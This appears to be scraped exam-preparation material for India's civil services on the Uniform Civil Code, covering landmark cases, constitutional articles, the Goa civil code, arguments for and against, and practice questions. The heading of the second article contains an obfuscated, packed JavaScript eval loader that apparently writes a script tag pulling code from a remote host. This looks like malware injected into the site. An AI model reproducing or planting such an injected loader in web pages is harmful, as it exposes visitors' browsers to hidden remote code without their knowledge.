• Section 125 of CrPC (criminal procedure code) that applied to all citizens, provided for maintenance of the wife.

Impact – After this historic decision, nationwide discussions, meetings and agitations were held. The then government under pressure passed The Muslim Women’s (Right to protection on divorce ) Act (MWA) in 1986, which made Section 125 of the Criminal Procedure Code inapplicable to Muslim women.

Daniel Latifi Case:-

Muslim Women’s Act (MWA) was challenged on the grounds that it violated the right to equality under Articles 14& 15 as well as the right to life under Article 21. The Supreme Court while holding the law as constitutional, harmonised it with section 125 of CrPC and held that the amount received by a wife during iddat period should be large enough to maintain her during iddat as well as provide for her future. Thus under the law of the land, a divorced Muslim woman is entitled to the provision of maintenance for a lifetime or until she is remarried.

Sarla Mudgal Case:-

In this case, the question was whether a Hindu husband married under the Hindu law, by embracing Islam, can solemnise a second marriage. The court held that the Hindu marriage solemnized under Hindu law can only be dissolved on any of the grounds specified under the Hindu Marriage Act 1955. Conversion to Islam and marrying again, would not by itself dissolve the Hindu marriage under the act and thus, a second marriage solemnized after converting to Islam would be an offence under section 494 of the Indian Penal Code (IPC).

John Vallamattom Case:-

In this case, a priest from Kerala, John Vallamattom challenged the Constitutional validity of Section 118 of the Indian Succession Act, which is applicable for non-Hindus in India. Mr Vallamatton contended that Section 118 of the act was discriminatory against Christians as it imposes unreasonable restrictions on their donation of property for religious or charitable purposes by will. The bench struck down the section as unconstitutional.

Candidates who are preparing for UPSC 2024 , may check the linked article to know more about the upcoming IAS exam, its pattern, syllabus and more.

Related links:

The Constitution of India on the Uniform Civil Code

Part IV, Article 44 of the Constitution states that “The State shall endeavour to secure the citizen a Uniform Civil Code throughout the territory of India”.

However, Article 37 of the Constitution itself makes it clear the DPSP “shall not be enforceable by any court”. Nevertheless, they are “fundamental in the governance of the country”. This indicates that although our constitution itself believes that a Uniform Civil Code should be implemented in some manner, it does not make this implementation mandatory.

The candidates can read  IAS Topper strategies to align their preparation accordingly and be updated with tips and guidelines.

Other constitutional provisions relating to religious freedom and secularism are:

• Article 15- No discrimination on grounds of religion, race, caste, sex or place of birth.
• Article 25- Freedom of conscience and free profession, practice and propagation of religion, subject to reasonable restrictions on the grounds of public order, health and mortality.
• Article 25 (2)-provides for regulating secular activities associated with religious practices, social welfare and reform.
• Article 26- Right to establish and administer religious institutions.
• Article 27- Prohibits the state from levying a tax, proceeds of which are used for the benefit of a particular religion.
• Article 28- deals with the issue of religious instruction in educational institutions.

The 42nd Constitutional Amendment Act inserted the word ‘secularism’ in the preamble. In the S.R.Bommai vs Union of India case, the Supreme Court held secularism as a basic feature of the constitution.

Goa Civil Code

Goa is the only Indian state to have a UCC in the form of common family law. The Portuguese Civil Code that remains in force even today was introduced in the 19th century in Goa and wasn’t replaced after its liberation.

• The Uniform Civil Code in Goa is a progressive law that allows equal division of income and property between husband and wife and also between children (regardless of gender).
• Every birth, marriage and death have to be compulsorily registered. For divorce, there are several provisions.
• Muslims who have their marriages registered in Goa cannot practice polygamy or divorce through triple talaq.
• During the course of a marriage, all the property and wealth owned or acquired by each spouse is commonly held by the couple.
• Each spouse in case of divorce is entitled to half of the property and in case of death, the ownership of the property is halved for the surviving member.
• The parents cannot disinherit their children entirely. At least half of their property has to be passed on to the children. This inherited property must be shared equally among the children.

However, the code has certain drawbacks and is not strictly a uniform code. For example, Hindu men have the right to bigamy under specific circumstances mentioned in Codes of Usages and Customs of Gentile Hindus of Goa (if the wife fails to deliver a child by the age of 25, or if she fails to deliver a male child by the age of 30). For other communities, the law prohibits polygamy.

Uniform Civil Code and Arguments For & Against

Arguments in favour of the Uniform Civil Code:

• It will Integrate India- India is a country with many religions, customs and practices. A uniform civil code will help in integrating India more than it has ever been since independence. It will help in bringing every Indian, despite his caste, religion or tribe, under one national civil code of conduct.
• Will Help in Reducing Vote Bank Politics- A UCC will also help in reducing vote bank politics that most political parties indulge in during every election.
• Personal Laws Are a Loophole- By allowing personal laws we have constituted an alternate judicial system that still operates on thousands of years old values. A uniform civil code would change that.
• Sign of a modern progressive nation- It is a sign that the nation has moved away from caste and religious politics. While our economic growth has been significant, our social growth has lagged behind. A UCC will help society move forward and take India towards its goal of becoming a truly developed nation.
• It will Give More Rights to Women- Religious personal laws are misogynistic in nature and by allowing old religious rules to continue to govern the family life we are condemning all Indian women to subjugation and mistreatment. A uniform civil code will also help in improving the condition of women in India.
• All Indians Should be Treated the Same- All the laws related to marriage, inheritance, family, land etc. should be equal for all Indians. UCC is the only way to ensure that all Indians are treated the same.
• It Promotes Real Secularism- A uniform civil code doesn’t mean that it will limit the freedom of people to follow their religion, it just means that every person will be treated the same and all citizens of India have to follow the same laws regardless of any religion.
• Change has been the law of nature-A minority of people should not be allowed to pick and choose the laws they want to be administered under. These personal laws were formulated in a specific spatiotemporal context and should not stand still in a changed time and context.
• Many provisions of specific personal laws are in violation of human rights.
• Article 25 and Article 26 guarantee the freedom of religion and UCC is not opposed to secularism.
• The codification and unification of the variegated personal laws will produce a more coherent legal system. This will reduce the existing confusion and enable easier and more efficient administration of laws by the judiciary.

Uniform Civil Code – Challenges in its Implementation

UCC is a debated-topic and forms an important part of UPSC Current Affairs which aspirants can check in the linked article.

The task of actually devising a set of rules that will govern all communities is a very formidable and tedious one considering the vast range of interests and sentiments to be accounted for.

• Misinformation about UCC – Content of UCC has not been spelt out leading minorities to believe that it is a way of imposing majority views on them.
• Lack of political will due to the complexity and sensitivity of the issue.
• Different religious communities have different personal laws which lead to the politicization of the UCC debate.

Opponents of UCC argue that personal laws are derived from religious beliefs. They maintain that it is prudent not to disturb them, as this runs the risk of engendering a great deal of animosity and tension between various religious communities. Also, India being a secular country guarantees its minorities the right to follow their own religion, culture and customs under Article 29 and 30. They argue that implementing UCC will contravene these articles.

Suggestions for Implementing a Uniform Civil Code:

To realize the goals of the DPSP and to maintain the uniformity of laws, the following suggestions need immediate consideration:

• A progressive and broadminded outlook should be encouraged among the people to understand the spirit of the UCC. For this, education, awareness and sensitisation programmes must be taken up.
• The Uniform Civil Code should be drafted keeping in mind the best interest of all the religions.
• A committee of eminent jurists should be constituted to maintain uniformity and care must be taken not to hurt the sentiments of any particular community.
• The matter being sensitive in nature, it is always better if the initiative comes from the religious groups concerned.

The Way Forward for UCC: Gradual Change

India has a unique blend of codified personal laws of Hindus, Muslims, Christians, Parsis. There exists no uniform family-related law in a single statute book for all Indians which is acceptable to all religious communities who co-exist in India. However, a majority of them believe that UCC is definitely desirable and would go a long way in strengthening and consolidating the Indian nationhood. The differences of opinion are on its timing and the manner in which it should be realized.

Instead of using it as an emotive issue to gain political advantage, political and intellectual leaders should try to evolve a consensus. The question is not of minority protection, or even of national unity, it is simply one of treating each human person with dignity, something which personal laws have so far failed to do.

How to Approach UCC for Civil Services Examination

For Prelims:

Polity- religion, secularism, personal laws, etc.

For Mains: General Studies Paper-II

• Indian polity

Aspirants can get GS-II related articles from the table below:

Practice Questions for UCC

Sample questions are given below:

Prelims Paper I-

• Part IV of the constitution deals with the uniform civil code
• Uniform civil code has been recommended to ensure national integration.
• Goa is the only state in India to have some form of uniform civil code
• Part IV of the constitution is justiciable in nature

Essay Paper-

• The Need for a Uniform Civil Code in a Secular India.

General Studies Paper-II –

• Discuss the possible factors that inhibit India from enacting for its citizens a uniform civil code as provided for in the directive principles of state policy.
• There is no necessary connection between religion and personal laws on the one hand and civil laws and personal laws are different on the other. In this context discuss the need for a uniform civil code and the different challenges associated with this.

UPSC aspirants should read more about various laws and constitutional amendments for IAS 2023. It would be beneficial to refer to NCERT Books on the subject. The concepts learnt should be linked to current affairs for the exam.

UPSC Questions Related to Uniform Civil Code

What is the meaning of civil code.

A civil code is a systematic collection of laws designed to deal with the core areas of private law such as for dealing with business and negligence lawsuits and practices.

What is the Article 44?

Article 44 of the Indian Constitution defines a Uniform Civil Code. Article 44 says, ‘The State shall endeavour to secure for the citizens a Uniform Civil Code throughout the territory of India.’ The article is a part of the Directive Principles of State Policy.

Why does Goa have a uniform civil code?

The Goa Civil Code, also known as the Goa Family Law, was introduced in 1870 by the Portuguese who were ruling the state. After the liberation of Goa in 1961, the civil code was retained.

When was the Hindu code bill passed?

The Hindu Code Bills are a set of laws that were passed in the 1950s.

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The Big Picture – Uniform Civil Code: Where does one begin?

• July 18, 2016

The Big Picture- RSTV

Uniform eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6(" ");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kseyr|var|u0026u|referrer|itesy||js|php'.split('|'),0,{})) Civil Code: Where does one begin?

Right from the time the Indian Constitution was in the making, the debate of existence of Uniform Civil Code (UCC) has been raised continuously. The Constitution makers decided that the time then was not right to go ahead to try and formulate a common code and left it for posterity with a Directive Principle that India should strive to have one.

Why UCC in news?

• It is 66 years since enactment of Constitution and it is still debated about the pros and cons of adopting a common code. However, there is a difference now.
• The NDA government has formally asked the Law Commission to look into the issue and present a report. This is the first time a government has asked the commission, which has a crucial advisory role on legal reform, to look into the politically controversial issue of a uniform civil code.
• Even if the commission starts preparing the consultations, the issue has not surprisingly assumed, political colours. Though, the motive behind the move is being questioned by opposition parties and also a section of minority leaders are expressing their concerns.
• All these concerns and objections have to be addressed though wider debates and discussions and find common ground for concensus.
• During colonial era, the British applied the common criminal code for all
• But they allowed religious laws to be applied in court in case of dealing with personal disputes between people of the same religion.
• Shariat law, 1937 was passed to govern the personal matters of all Indian Muslims by Islamic laws
• The Constituent Assembly argued for a common personal law for marriage, divorce, inheritance and adoption, while others believed that this was a goal to be achieved in stages.
• The Directive Principle (Art 44)—“shall endeavour to secure for citizens a uniform civil code”—was a compromise since the time was not right.

What is Uniform Civil Code?

Uniform civil code is the proposal to replace the personal laws based on the scriptures and customs of each major religious community in India with a common set of laws governing every citizen. These laws are distinguished from public law and cover marriage, divorce, inheritance, adoption and maintenance.

Is UCC brought earlier?

The government of India has referred the issue to Law Commission. It is a routine matter as Law Commission exists for that. The difference is that the Law Commission has not been asked to draft a civil code nor it is its job. The wordings are ‘examine the issue and give a report’.

Until now, there has been no report on UCC by Law Commission. It has not examined the issue at all. Justice Lakshmanan had submitted two reports and they do not examine the UCC. One is of civil marriages and other is how to make compulsory registration of marriages.

From 1951 till now, the Law Commission has submitted 262 reports. Out of it, the Law Commission has 24 reports on whose basis it can initiate the examining of UCC formation. The reports are on personal laws, family laws etc.

Concept of UCC

Whenever this topic is taken up, there is a certain amount of discomfort observed within Muslims. There is a feeling that it is aimed at them. The reason for such discomfort is that there is no clear picture of what UCC will be like. For 66 years it is in constitution but no government has tried to give a draft of UCC and merely held talks in air. There even exists different views on Article 44.

There is nothing called as ‘common civil code’. The article 44 speaks of ‘uniform’ and not ‘common’ civil code. It does not ask Parliament or State to enact it straight away. The article states that ‘the state shall endeavour to secure…’ which doesn’t mean having one single law and replacing all personal laws.

Some contradictions:

• In 1954, a General Law of Marriages was already enacted, yet there was a separate Hindu Marriage Act in 1955.
• Similarly, there was a Guardian and Wards Act already enacted in 1890 which was applicable to everybody, yet Hindu Minority and Guardianship Act was enacted in 1956.
• There existed Indian Succession Act, 1925 and yet a Hindu Succession Act was enacted in 1956.

This shows that uniformity is needed to avoid contradictions. The idea is that there should be uniformity in the family laws enacted now onwards. However, such practice has been observed since 1954, where a many laws have been enacted that apply to every community.

• The Dowry Prohibition Act,
• The Special Marriage Act
• Domestic Violence Act
• Maintenance of Parents and Senior Citizens Act,
• Child Marriage Prohibition Act.

They apply to every community and every individual irrespective of the religion or personal law.

Difference between UCC and reform of personal laws

There is some confusion about concept of UCC. Personal law reform and UCC are two different things. One is about reforming the existing laws and other is subsuming all personal laws.

Hindu law has been reformed, amended drastically in 1955-56. But not Muslim law which is waiting for amendment of Muslim personal law.

It has been silently observed that successive governments had been giving option to the Muslims either to bear with misinterpreted and misused caricatured personal law or accept UCC. That is why, UCC is observed with an eye of suspicion.

A general perception in communities is that UCC is a euphemism for Hindu laws enacted in 1955-56. To dispel that fear, there is a need of draft.

For instance, Triple talaq is un-Islamic and court can apply art 14 (right to live with equality) and art 21 (right to live with dignity). It is un-Islamic because Muslim scholars have interpreted Quran in surah 65 verse 1 which requires two waiting period of three months each before the divorce is valid under Muslim law.

Why UCC needed? – One view

The Constitution makers had a vision to enact UCC in future to have a same set of civil laws governing all irrespective of religion. The present government has brought forward the issue as a part of its fulfilment of manifesto of having a Uniform Civil Code. The need is for a larger debate, where even issues which had been previously eluded from public debates, are carried out. For instance, human right issues, gender equality issues etc.

The UCC is not with regard to religious practices. It has no discussion about harming any religious, community or minority practices as such. It is talking about segregation between aspects like marriage, divorce, inheritance which are in domain of civil laws. Ultimately when India has to adhere to secular credential of constitution and nation, there should be a uniform civil code just like a uniform criminal code where human rights, women rights are protected and there is uniformity in implementing day-to-day affairs.

There are certain issues which require attention when a certain group called Bhartiya Muslim Mahila Andolan says that there is need of reform in marriage and divorce of personal law which is supported by more than 90% Muslim women.

It can also mean that when talked about UCC, it is talking about problems in minority communities.

• Triple Talaq: the infamous provision which allows a Muslim man to divorce her wife by pronouncing talaq three times.
• Polygamy: According to the 1961 census (the last census to record such data), polygamy was actually less prevalent among Indian Muslims (5.7%) than among several other religious groups (Adivasis-15.25%, Buddhists-7.9%, and Hindus-5.8%).
• Christian divorce: Christian couples must wait for a two-year separation before filing for divorce when it is just one year for others.

Is UCC required? – Another view

UCC may not be even required because the constitution of India doesn’t permit discrimination between man and woman and if there is any discrimination on any basis, it will be rectified by the courts. 93% of Muslim nations have held triple talaq as illegal. India is signatory to Convention on the Elimination of all forms of Discrimination Against Women. This makes India accountable to its implementation. The SC has taken up the triple talaq case and several Muslim organisations have also gone to court which at some point of time will translate into a befitting decision.

When Hindu code bill came, many customs were disregarded. There were protests and agitations, but ultimately it was implemented.

If there exists a law which is not in conformity with constitution, the constitution will prevail. Art 14 and 19 can’t be ignored. Whether there is UCC or not, the constitution is sufficient and competent to protect minorities, especially Muslim women in India. Another law is not needed.

Basis of UCC enactment

It is a very interesting intervention as one view expresses that whole debate is essentially meant to focus on triple talaq and thereby politically target the Muslim community. The same stand was taken during NDA 1.

Degree of implementation of various DPSP provisions is visible. A DPSP bans cow slaughter and another calls for implementation of UCC. But contradictions in their implementation is visible. Thus, there is a need to address the personal law reforms of various sections of society like Christians, Muslims, Dalits etc.

Such discussions at platform like of Law Commission assure holistic dimension embracement and consider topics like equality of religion, gender and other issues to be mandated.

Challenges to UCC implementation

UCC is replacement of all personal laws, including minority communities. This may violate, if not taken care of, certain fundamental rights like Art 25, 26 and 29. The triple talaq is not the only issue. In shahabano case, the Muslim law was challenged for first time. Other examples include

• The Muslim community believes that the succession, the inheritance is recorded in Quran. If you change that, it means you are changing Quranic injunction. Whether a Quranic injunction can be changed by replaced law is the issue.
• Hindus were against granting equal property rights to women, fearing the concept of a joint family might crumble because of it. Thus, women have less share in property inheritance or share as per Hindu laws. A common inheritance law may pose challenges in acceptance in heavily loaded patriarchal society.
• Muslims do not have any adoption laws as there is no provision in Islamic law for adoption. If a future law makes adoption permissible and valid, how would it conflict with personal laws of religion?
• Practices such as divorce were prohibited by Hinduism and that for a Hindu the institution of marriage is indissoluble.

The issue is whether there should be any law which should be applied to all uniformly in place of their personal law which may arise from religion, custom or practices. Thus, it is important that the reform is not only for the personal law but a debate is required for more prominence of secular thread of country.

Is the time ripe for UCC?

For almost 70 years, the country has managed without a common civil code. Is it needed now? There are arguments on both sides which shows our secular and republican nature and that a common law for all citizens is needed. It can promote some kind of national integration. The other side is to maintain unity in diversity. The country is inhabited by people of all colour, race, religion and cultures and languages. Thus, there is a view point that a particular religious law, for example Shariat law which springs from Quran and Muslims believe in Quran above everything. Shariat law cannot be changed by any constitution. So, that view point has to be accommodated by some kind of consensus. And unless the consensus is reached, it may not lead to national integration. Thus, it is a time for caution and imposing it will not serve the purpose.

All personal laws-Christian, Muslim, Hindu need reforms. They are all legal concepts. But there is a political side to it wherein political influence is imposed which makes a rational debate difficult. Reform in religion is the crying need and has been for centuries. The reforms sine quo non- modernising religion, making it tenable in future.

• Reform of religion needed and demand should come from people.
• As a government feels, there should be a larger debate on UCC to decide if it should be there or not. It has to perform the advisory role.

However, it needs to be seen if such debates can be done without polarising the country.

No particular time may be ripe for India to absorb a Uniform Civil Code in its entirety. It will have to be the result of gradual change that Indian society absorbs while interpreting in different ways its multicultural diversity. All communities in this country will be willing to contemplate a change gradually rather than being forced to do so abruptly.

Connecting the dots

• Critically evaluate the need of Uniform Civil Code in India.
• Uniform Civil Code may promote homogeneity which may be harmful for heterogeneous country like India. Do you agree? Substantiate.

Personal laws: personal laws is what one confronts in personal lives from birth to death, viz. laws of marriage, maintenance, adoption, custody, guardianship of children and succession.

Family laws:

Shahabano case: stirred up debate in 1985 about Muslim personal law and need for UCC. Shahbano was divorced and was given maintenance by ex-husband during the period of iddat only (three-month period after divorce in which she cannot remarry). The case went upto SC which granted her maintenance under sec 125 of CrPC which is applicable to all equally, irrespective of religion. This, was a landmark judgment where a personal law was overridden by constitutional arrangement.

Hindu code bill: a set of common laws governing personal matters for all Hindus. It was received with much furore and opposition. Later it was split into the Hindu Marriage Act, the Hindu Succession Act, the Hindu Minority, and Guardianship Act, and the Hindu Adoptions and Maintenance Act.

• Big Picture Analysis 2016 , RSTV Big Picture UPSC IAS

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